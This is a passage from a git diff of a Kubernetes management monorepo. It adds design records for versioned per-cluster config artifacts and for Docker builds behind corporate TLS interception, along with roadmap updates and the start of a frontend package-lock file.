known cluster-specific field registry, author confirms/renames/types. +- **`render(version, param_values) → concrete CRs`** by injecting per-cluster values; a missing + required param is a **hard error** (the footgun repair — never apply a half-injected CR). +- **Two authoring paths:** (a) **capture from a live "golden" cluster** (reuse `config_export` + + `topology`), (b) **author from scratch** (extend `ConfigBuilder`/`PolicyBuilder` to emit a + parameterized bundle). +- **Portable export/import** (YAML/JSON) of an artifact version (not a live-cluster snapshot). +- **Drift wired in v1:** rendered artifact = desired-state feeding the existing `_diff_dicts` engine + (`check_usecase_drift`), closing the stub. + +**Non-goals (v1).** +- **Fleet fan-out** — applying one artifact across many clusters with waves/gates is Wave 4; it consumes + this object (`fleet_bulkop_service` SAFE_ACTIONS allowlist) but is out of scope here. +- **DPF provisioning/services, logging/HSL, AI Analyzer, CNEInstance** kinds — large surface, rarely + portable, deferred. +- Full GitOps / external repo backing of artifacts (in-DB is v1; export is the interop seam). +- Auto-remediation of drift (detect only in v1; reconcile is a follow-up). + +--- + +## v1 CR coverage + +| In (v1) | Category | Cluster-specific fields lifted to params | +|---------|----------|------------------------------------------| +| `Gateway`, `HTTPRoute` (+ other route kinds present) | Gateway API config | listener addresses (status-derived, read-only — not templated); hostnames *may* be params | +| `BNKSecPolicy`, `BNKNetPolicy` | Policy | targetRefs (name-based, portable as-is) | +| `F5BigFwPolicy`, `F5BigCneAddresslist`, `F5BigCnePortlist`, `F5BigCneIrule` | Firewall / iRules | address lists (IP/CIDR params) | +| `F5SPKVlan` | Data-plane | `interfaces`, `selfip_v4s`, `prefixlen_v4`, `mtu` | +| `F5SPKStaticRoute` | Data-plane | `destination`, `gateway` | +| `F5SPKSnatpool` | Data-plane | `addresses` / `members` | +| `F5SPKEgress` | Data-plane | `sourceTranslation` addresses | + +**Out (v1):** `CNEInstance` (FLO-owned lifecycle, not portable config), `DPFOperatorConfig`/`DPUCluster`/ +`DPUSet`/`BFB`/`DPUFlavor`, all `DPUService*`, `F5BigLogHslpub`/`F5BigLogProfile`, `F5BigAnalyzer`, +`F5BigGlobalOptions`. + +--- + +## Domain model + +Modelled on `bf_conf_template` (named/versioned/CRUD/`matching_bnk_version`/refuse-delete-while-referenced) +and on `BlueprintRelease` immutability (a content change = a new version, never an in-place edit). + +- **`UseCaseArtifact`** — `id`, `name` (unique), `description`, `created_by`, timestamps. The mutable + container: rename/describe only. +- **`UseCaseArtifactVersion`** — *immutable* once created: + - `artifact_id` FK, `version` (semver-ish string), `matching_bnk_version` + - `cr_templates` (JSON): the parameterized CRs (`${param}` tokens substituted for lifted values) + - `param_schema` (JSON): list of param descriptors (below) + - `source` (`captured_from_cluster` | `authored`), `source_cluster_id` (nullable) + - `content_hash` (for dedup / capture idempotency), `created_by`, `created_at` + - Unique `(artifact_id, version)`. +- **`UseCaseApplication`** — the *binding*, for drift reproducibility: + - `artifact_version_id` FK, `cluster_id` FK, `param_values` (JSON — the resolved injection), `applied_at`, `applied_by` + - Records "cluster X runs artifact-version Y with *these* injected values" → drift always compares + against the exact desired-state that was applied. + +**Param descriptor** (`param_schema` entry): +`{ key, type: ip|cidr|iface|int|string|list|namespace|..., kind: environmental|assigned, label, description, default, required, source_paths: [ {kind, jsonpath} ] }` +— `source_paths` is what capture filled it from and what render substitutes back into. +- **`kind: environmental`** — a fact that exists on the target *before* config (interface names + `p0`/`p1`/`bond0`, existing upstream gateways, node CIDRs). Discoverable from target topology → + **auto-filled** at apply time. +- **`kind: assigned`** — a value the artifact is about to *create* on the target (`selfip_v4s`, SNAT + pool addresses, egress source IP). Cannot be discovered (does not exist yet) → **always prompts**. + This is why zero-touch apply is a non-goal (below). + +--- + +## The cluster-specific path registry (DRY single source of truth) + +The one table that both **capture** (propose params) and **topology/discovery** (find defaults) read. +Prevents the two sides from drifting apart. Seeded from the fields `bnk/topology.py::_build_data_plane` +already extracts: + +``` +F5SPKVlan spec.interfaces → iface (list) +F5SPKVlan spec.selfip_v4s → ip (list) +F5SPKVlan spec.prefixlen_v4 → int +F5SPKVlan spec.mtu → int +F5SPKStaticRoute spec.destination → cidr +F5SPKStaticRoute spec.gateway → ip +F5SPKSnatpool spec.addresses|members → ip (list) +F5SPKEgress spec.sourceTranslation → ip (list) +F5BigCneAddresslist spec.addresses → ip|cidr (list) +``` + +Capture walks each exported CR against this registry; every hit becomes a proposed param with the +discovered value as `default`. Topology discovery on a *target* cluster resolves those same paths to +supply per-cluster defaults at apply/drift time. + +--- + +## Namespace remap (multi-namespace + create-new) + +Bundles span multiple source namespaces, and a target may not have them. Cluster-scoped CRs +(`GatewayClass`) have no namespace and are untouched. For namespaced CRs: + +- The `param_schema` carries a **namespace map** — one `type: namespace` param per *distinct source + namespace* in the bundle (`ns_map[]`). +- **At apply time the UI** lists the target cluster's existing namespaces (core `list_namespace`) and, + per source ns, offers: a **dropdown of discovered namespaces** (default = same-name if present) **or + "Create new namespace…"**. A chosen-new namespace is created (server-side apply of a `Namespace`) + **before** its CRs are applied. +- **Render rewrites** both `metadata.namespace` *and* the known cross-namespace reference fields whose + value matches a remapped source ns — `parentRefs[].namespace`, `backendRefs[].namespace`, + `ReferenceGrant.spec.from/to[].namespace`, policy `targetRefs[].namespace`. (Reference-remap fidelity + is an explicit v1 render rule with its own test; miss it and cross-ns routes/grants break silently.) + +## Render / inject / apply + +1. `render(version, param_values)` → for each `cr_template`, substitute `${param}` tokens (including the + namespace remap above) → concrete CR list. +2. **Required-param guard:** any unfilled required param → **hard error** listing the gaps. No partial apply. +3. **Apply is a halfway-house, never zero-touch (v1).** There is always a **review-and-confirm** step: + environmental params + same-name namespace defaults are **pre-filled** from target discovery; assigned + params, any environmental param discovery couldn't resolve, and the namespace map are **presented for + operator input/confirmation**. "Apply with all-defaults, zero prompts" is an explicit **non-goal** — + assigned values (selfips, SNAT, egress IPs) never exist on a fresh target to discover. +4. Apply reuses the **existing `/bnk/import` server-side-apply write path** (`field_manager="bnk-forge"`, + `KNOWN_PLURALS`) — but fed **rendered, per-cluster CRs** instead of verbatim ones. That single change + is the footgun repair. + +## Drift wiring (closes the stub) + +`check_usecase_drift(cluster, artifact_version, param_values)`: +1. `render(version, param_values)` → **desired** CRs. +2. Fetch **actual** CRs from the cluster (reuse `config_export_service._fetch_resources`). +3. Feed each desired/actual pair to the existing `k8s_drift._normalize_for_comparison` + `_diff_dicts`. +4. Return the standard drift shape — `_k8s_catalog_drift_unavailable` is no longer the only outcome. + +--- + +## Phased delivery (tracer-bullet vertical slices) + +Each phase is an independently-mergeable slice; Phase 0 proves the *whole pipeline* on the narrowest surface. + +- **Phase 0 — tracer:** one kind (`F5SPKVlan`) end-to-end: capture → propose one param + (`selfip_v4s`) → store artifact+version → render → apply → drift. Thin but full-depth; de-risks the + data model and the render/diff contracts before breadth. +- **Phase 1 — model + capture:** migration (`UseCaseArtifact`/`Version`/`Application` + path registry); + capture-from-cluster over the full v1 kind set; auto-propose params API; artifact/version CRUD with + refuse-delete-while-applied. +- **Phase 2 — render + apply (footgun repair):** render+inject, required-param guard, apply via the + existing import write path fed rendered CRs; portable **export/import** of an artifact version. +- **Phase 3 — author from scratch:** extend `ConfigBuilder`/`PolicyBuilder` to emit a parameterized + bundle; param confirm/rename/type UI (the "hybrid" author step). +- **Phase 4 — drift:** `check_usecase_drift` + a drift surface ("cluster diverged from use-case v1"). +- **Phase 5 — headless (Atlas):** MCP/API tools — list/export/import/apply/drift — so the AI-agent + persona drives it without UI. + +--- + +## Persona acceptance (regression targets) + +- **Marcus:** capture a live gateway+policy+VLAN as `east-west-secure v1`; apply to a fresh cluster + whose selfips/routes differ → data plane comes up with *its own* addressing, not the source's. +- **Aisha:** version `east-west-secure` v1→v2 (immutable v1 preserved); cannot delete v1 while a cluster runs it. +- **Sofia:** hand-edit a live CR → drift report shows "diverged from `east-west-secure v1`" with the exact path. +- **Atlas:** same capture→apply→drift loop via MCP/API, no UI. +- **Cross-cutting (personas doc):** refresh mid-apply resumes; cancel leaves no half-applied bundle; + deep-link to an artifact version loads directly. + +--- + +## Resolved decisions (operator sign-off 2026-07-21) + +1. **Version immutability — YES.** Published versions are immutable (`BlueprintRelease`/`bf_conf` + semantics: content change ⇒ new version). The **authoring editor holds the mutable draft** (reusing + the Wave-1 `useBuilderDraft` localStorage pattern); **"Create version" is the freeze point** — no + `draft` status column, a version row is always frozen. Guards the drift baseline against + edited-underneath-you. +2. **Param precedence — override wins, discovery fills.** `value = operator_override if provided else + discovered_default`; empty + required ⇒ block. Params carry `kind: environmental|assigned`; + **environmental** auto-fill from target discovery, **assigned** always prompt. **Zero-prompt apply is + a non-goal** — apply is always a pre-filled review-and-confirm (the "halfway house"). +3. **Namespace — multi-ns + create-new.** A `type: namespace` param per distinct source namespace; apply + UI offers a **dropdown of discovered target namespaces + "create new"**; render remaps + `metadata.namespace` and cross-ns reference fields (see Namespace remap section). Not a single + source-ns-default param. +4. **Secret safety — capture+flag, hard-exclude Secret.** `Secret` kind is never captured (belt-and- + suspenders test even though it's outside the v1 set). **iRules are captured verbatim but flagged** + ("contains iRule code — review before external sharing") on capture summary and export — no + regex-redaction (false confidence); the author is a trusted operator, threat model is *accidental* + leak into a shared artifact. +5. **Capture idempotency — hash structure, not values.** `content_hash` covers the parameterized + templates + the param key/type/path set, **excluding discovered default values**. Makes artifact + identity **address-independent** — the same config shape captured from two differently-addressed + clusters dedupes to one artifact; re-capturing an unchanged shape returns "already captured as vN". + +--- + +## Consequences + +- **Repairs** the export/import footgun and **closes** the `k8s_drift` desired-state stub — two live + defects retired by one object. +- **Creates the object Wave 4 fans out** — fleet rollout applies an artifact version across members via + the existing gated wave executor; no rework of this model expected. +- **New tables + Alembic migration** — coordinate the head per the project's stacked-migration rule + (serial merge or planned merge revision). +- **OpenAPI + `api-generated.ts` regen** on the new routes/schemas (CI OpenAPI-freshness is strict). +- **Additive, reversible** — no change to existing export/import behaviour until callers opt into the + rendered path; the old verbatim path can stay for same-cluster snapshotting. diff --git a/docs/adr/D-035-docker-netskope-tls-interception.md b/docs/adr/D-035-docker-netskope-tls-interception.md new file mode 100644 index 00000000..6f6f58f1 --- /dev/null +++ b/docs/adr/D-035-docker-netskope-tls-interception.md @@ -0,0 +1,74 @@ +# D-035: Docker Builds Behind Corporate DLP TLS Interception (github.com) + +**Status:** DECIDED +**Date:** 2026-07-24 +**Issue:** f5devcentral/bnk-forge#496 +**Ref:** F5 KB57735 + +--- + +## Context & Problem Statement + +The corporate DLP (rolled out to managed workstations ~2026-07-23) TLS-intercepts `github.com` traffic using the internal CA `ca.f5.goskope.com`. +During `docker build` operations, `RUN curl https://github.com/...` inside build containers fails with: + +```text +curl: (60) SSL certificate problem: self-signed certificate in certificate chain +``` + +Build containers do not inherit the host OS trust store. This breaks from-scratch image builds on DLP-managed workstations. CI environments (GitHub-hosted runners) are unaffected. + +--- + +## Domain Interception Matrix + +We probed all external domains accessed during container image builds across the repository: + +| Target Domain | Tool / Asset | Intercepted by DLP? | Resolution Strategy | +|---|---|---|---| +| **`github.com`** / `*.githubusercontent.com` | OpenTofu, llmtop, Infracost, ORAS | ✅ **YES** (`ca.f5.goskope.com`) | Use Docker `ADD` (daemon-level fetch) | +| **`get.helm.sh`** | Helm CLI | ❌ No (`DigiCert`) | Retain `curl` | +| **`dl.k8s.io`** | kubectl CLI | ❌ No (`Let's Encrypt`) | Retain `curl` | +| **`awscli.amazonaws.com`** | AWS CLI v2 | ❌ No (`Amazon Root CA`) | Retain `curl` | +| **`download.docker.com`** | Docker CE CLI | ❌ No (`GTS Root`) | Retain `curl` | +| **`pypi.org`** / `files.pythonhosted.org` | Python packages (`pip`) | ❌ No | Standard `pip install` | +| **`registry.npmjs.org`** | Node packages (`npm`) | ❌ No | Standard `npm ci` | +| **`dl-cdn.alpinelinux.org`** / Debian apt | Base OS packages | ❌ No | Standard `apt`/`apk` | + +--- + +## Decision & Resolution Strategy + +Per F5 KB57735, use Docker **`ADD`** for all `github.com` downloads during image builds: + +1. **Host-Daemon Fetching:** Docker `ADD` instructs the Docker daemon on the host OS to download the remote URL. The host daemon trusts `ca.f5.goskope.com`, so TLS interception succeeds transparently. +2. **No Certificate Baking:** No corporate CA cert is copied into the Docker image, ensuring images remain clean, portable, and public/CI-safe. +3. **No Insecure Bypasses:** No `curl -k` or `--insecure` flags are used. +4. **Integrity Preserved:** Per-architecture SHA256 checksum verification (`sha256sum -c`) is retained in subsequent `RUN` commands. +5. **Selective Scope:** Only `github.com` downloads are switched to `ADD`. Non-intercepted domains (`get.helm.sh`, `dl.k8s.io`) remain on `curl`. + +--- + +## Repo-Wide Dockerfile Audit + +All 8 Dockerfiles in the monorepo were audited: + +| Dockerfile Path | GitHub Downloads Present? | Action Taken | +|---|---|---| +| `backend/Dockerfile` | Yes (`opentofu`, `llmtop`) | Switched to `ADD` in `tooling-deps` stage. | +| `bnk-operator/Dockerfile` | No (`get.helm.sh` only) | Retained `curl`. | +| `mcp-server/Dockerfile` | No (`pip` only) | Unchanged. | +| `frontend-v2/Dockerfile` | No (`npm` only) | Unchanged. | +| `proxy/Dockerfile` | No (`apk` only) | Unchanged. | +| `Dockerfile.agent` | No (`pip` only) | Unchanged. | +| `tests/e2e/Dockerfile` | No (`npx` only) | Unchanged. | +| `docs/devcontainer-template/...` | No (Commented template) | Unchanged. | + +--- + +## Verification & Acceptance + +- [x] From-scratch `docker build --target tooling-deps` succeeds behind the DLP. +- [x] SHA256 checksum verification succeeds for all binaries. +- [x] `tofu`, `helm`, `kubectl`, `llmtop` binaries execute and respond to `--version`/`version`. +- [x] Working tree clean; committed as `8fb51787`. diff --git a/docs/roadmap.html b/docs/roadmap.html index 2627a78c..eb4ba5c0 100644 --- a/docs/roadmap.html +++ b/docs/roadmap.html @@ -68,7 +68,7 @@
23
In progress (tracked)
-
33
Planned (tracked)
+
35
Planned (tracked)
50+
PRs merged to staging
34
Issues closed
@@ -141,6 +141,8 @@

Catalog & blueprints

  • Runner-image supply chain — default-on allowlist + cosign verification#466
  • Retire cli-bnkctl subprocess engine; de-terraform generic pack sync#467
  • Container-runner#469 · #470 · #471 · #472
  • +
  • Container-module deploy diagnosability — blank failure reason, secret_files/step collision#479 · #480
  • +
  • Catalog version history only accrues by observation — fresh Forge cannot reach older ctl versions#482
  • diff --git a/docs/roadmap.yaml b/docs/roadmap.yaml index f178daa2..fee97197 100644 --- a/docs/roadmap.yaml +++ b/docs/roadmap.yaml @@ -400,6 +400,19 @@ sections: - '#472' note: 'Low-priority follow-ups from the PR #468 review (F1/F2/amber/hardlink/allowlist-drift already fixed in-PR). #469 boot-sync: advisory lock held for whole clone (idle-in-txn), boot-vs-force-sync uncovered, skip-branch untested. #470 report readback: mirror `..` rejection on rendered dir, reject non-UTF8 instead of mojibake. #471 action dialog: handleSubmit double-click re-guard, invalidate reports on action, escaping-regression test. #472 validator: test main() CLI paths, align path-equality with the sync stripped value.' group: Catalog & blueprints + - title: Container-module deploy diagnosability — blank failure reason, secret_files/step collision + status: planned + refs: + - '#479' + - '#480' + note: 'Both surfaced debugging a live ocibnkctl deploy that failed at its first step. #479 every engine''s failure transitions audit with an empty reason — set_locked_module_fields strips status and hands off to transition_module_status without forwarding a reason, though the cause is already in fields[deployment_error]; one shared fix covers opentofu/ssh/tmos/cli-bnkctl/ansible/container/k8s. #480 artifact validation accepts a secret_files path colliding with a step''s target dir (materialization creates the parent before any step runs), making a module permanently un-deployable and unrecoverable by retry — run_once then skips init so the retry fails downstream at the wrong step.' + group: Catalog & blueprints + - title: Catalog version history only accrues by observation — fresh Forge cannot reach older ctl versions + status: planned + refs: + - '#482' + note: 'D-033 version rows are created only by observing a bump during a sync, and a content repo publishes one version at HEAD — so the version list is a function of how long that Forge has watched the repo, not of what versions exist. A fresh install sees exactly one version and cannot redeploy a known-good older ctl release (ocibnkctl has 14 upstream releases; bnkctl-index publishes one pack dir). Mechanism works as designed (module_sync_service._upsert_pack_module; _inactivate_stale_manifest_modules prunes by path so accrued rows do persist) — the design just cannot serve the use case. Directions: index publishes one pack per released version (zero backend change, but module.path must equal the dir path so per-version dirs fragment the version axis into separate modules); a source type enumerating upstream GitHub releases; or on-demand backfill from the content repo git history. Stopgap today: re-point git_ref at successive older commits and sync each.' + group: Catalog & blueprints - id: d019_d018_detail number: 2 heading: D-019 / D-018 dynamic-by-default — epic detail diff --git a/frontend-v2/package-lock.json b/frontend-v2/package-lock.json new file mode 100644 index 00000000..78e9d333 --- /dev/null +++ b/frontend-v2/package-lock.json @@ -0,0 +1,10706 @@ +{ + "name": "frontend-v2", + "version": "2.12.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "frontend-v2", + "version": "2.12.0", + "dependencies": { + "@dagrejs/dagre": "^3.0.0", + "@hookform/resolvers": "^3.3.4", + "@microsoft/fetch-event-source": "^2.0.1", + "@monaco-editor/react": "^4.6.0", + "@radix-ui/react-accordion": "^1.2.12", + "@radix-ui/react-alert-dialog": "^1.1.15", + "@radix-ui/react-avatar": "^1.0.4", + "@radix-ui/react-checkbox": "^1.3.3", + "@radix-ui/react-collapsible": "^1.1.12", + "@radix-ui/react-dialog": "^1.1.15", + "@radix-ui/react-dropdown-menu": "^2.0.6", + "@radix-ui/react-label": "^2.1.8", + "@radix-ui/react-popover": "^1.1.15", + "@radix-ui/react-progress": "^1.1.2", + "@radix-ui/react-radio-group": "^1.3.8", + "@radix-ui/react-scroll-area": "^1.2.10", + "@radix-ui/react-select": "^2.2.6", + "@radix-ui/react-separator": "^1.0.3", + "@radix-ui/react-slider": "^1.1.2", + "@radix-ui/react-slot": "^1.0.2", + "@radix-ui/react-switch": "^1.1.5", + "@radix-ui/react-tabs": "^1.1.13", + "@radix-ui/react-toast": "^1.1.5", + "@radix-ui/react-tooltip": "^1.0.7", + "@radix-ui/react-visually-hidden": "^1.2.4", + "@tanstack/react-query": "^5.17.0", + "@tanstack/react-virtual": "^3.13.18", + "@xterm/addon-fit": "^0.10.0", + "@xterm/xterm": "^5.5.0", + "axios": "^1.18.1", + "class-variance-authority": "^0.7.0", + "clsx": "^2.1.0", + "cmdk": "^1.1.1", + "diff": "^8.0.3", + "js-yaml": "^4.3.1", + "lucide-react": "^0.307.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "react-hook-form": "^7.49.3", + "react-joyride": "^2.9.3", + "react-router-dom": "^6.30.4", + "reactflow": "^11.11.4", + "recharts": "^3.8.0", + "tailwind-merge": "^2.2.0", + "zod": "^3.22.4", + "zustand": "^4.4.7" + }, + "devDependencies": { + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", + "@types/js-yaml": "^4.0.9", + "@types/react": "^18.2.43", + "@types/react-dom": "^18.2.17", + "@vitejs/plugin-react": "^4.2.1", + "@vitest/coverage-v8": "^4.1.0", + "autoprefixer": "^10.4.16", + "eslint": "^9.0.0", + "eslint-plugin-react-hooks": "^5.0.0", + "eslint-plugin-react-refresh": "^0.4.5", + "globals": "^16.0.0", + "jsdom": "^24.1.3", + "msw": "^2.12.10", + "openapi-typescript": "^7.13.0", + "postcss": "^8.5.10", + "prettier": "^3.1.1", + "prettier-plugin-tailwindcss": "^0.5.10", + "tailwindcss": "^3.4.0", + "tailwindcss-animate": "^1.0.7", + "typescript": "^5.3.3", + "typescript-eslint": "^8.0.0", + "vite": "^5.0.8", + "vitest": "^4.1.0" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.4.4", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.4.4.tgz", + "integrity": "sha512-Elp+iwUx5rN5+Y8xLt5/GRoG20WGoDCQ/1Fb+1LiGtvwbDavuSk0jhD/eZdckHAuzcDzccnkv+rEjyWfRx18gg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@asamuzakjp/css-color": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", + "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==", + "dev": true, + "dependencies": { + "@csstools/css-calc": "^2.1.3", + "@csstools/css-color-parser": "^3.0.9", + "@csstools/css-parser-algorithms": "^3.0.4", + "@csstools/css-tokenizer": "^3.0.3", + "lru-cache": "^10.4.3" + } + }, + "node_modules/@asamuzakjp/css-color/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", + "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", + "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helpers": "^7.28.6", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", + "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", + "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", + "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", + "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", + "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.6.tgz", + "integrity": "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz", + "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", + "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", + "dev": true, 